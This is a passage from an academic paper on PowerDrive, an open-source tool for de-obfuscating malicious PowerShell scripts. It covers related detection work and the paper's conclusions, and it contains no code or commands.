hannon et al. [5] (who, incidentally, have also released the obfuscator mentioned in
Section 3). To address the complexity of obfuscated scripts, the authors proposed
various machine learning strategies to statically distinguishing between obfuscated
and non-obfuscated files. To this end, they released Revoke-Obfuscation [4],
an automatic tool that models each PowerShell script as an Abstract Syntax
Tree (AST), thus performing classification by using linear regression and gradient
descent algorithms. However, apart from stating information about whether the
file is obfuscated or not, the tool does not perform de-obfuscation.
Other machine learning-based approaches used Deep Learning to distinguish
between malicious and benign files. Hendler et al. [14] proposed a classification
method in which Natural Language Processing (NLP) techniques and Convolu-
tional Neural Networks (CNN) were used together. FireEye [10] also employed
a detection approach based on machine learning and NLP, by resorting to a
tree-based stemmer. This approach is more focused on analyzing single Power-
Shell commands more than the entire scripts. Finally, Rusak et al. [11] proposed
a detection approach by modeling PowerShell codes with AST and by using
Deep Learning algorithms to perform classification.
Finally, concerning off-the-shelf tools to analyze PowerShell, PSDecode [22]
is the only publicly available one that can be used to de-obfuscate scripts. Its core
idea (i.e., overriding cmdlets with customized code) has points in common with
the approach we adopted in this paper. However, its output and performances
exhibit significant limitations, making the tool entirely unfeasible for being used
on real scenarios. Furthermore, the tool does not consider multiple corner cases
and crashes against scripts obfuscated with [3].
From the works that we described here, it is evident that PowerShell analysis
is still a fresh, novel topic to be deeply studied. The scarcity of publicly available,
efficient tools for de-obfuscating malicious PowerShell codes constitutes a strong
motivation for the release of PowerDrive.
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8 Conclusions
In this paper, we presented PowerDrive, an automatic, open-source system
for de-obfuscating and analyzing PowerShell malicious files. By resorting to the
static and dynamic analysis of the code, PowerDrive was able to de-obfuscate
thousands of malicious codes in the wild, thus providing interesting insights into
the structure of these attacks. Moreover, PowerDrive can recursively de-obfuscate
PowerShell scripts through multiple layers, by providing a robust and easy-to-
use approach to analyze these scripts. We are publicly releasing PowerDrive,
along with the dataset used for this work, with the hope of fostering research
in the analysis of PowerShell attacks. PowerDrive can also be integrated with
other systems to carry out further investigations and provide additional insight
into the functionality of PowerShell malware.
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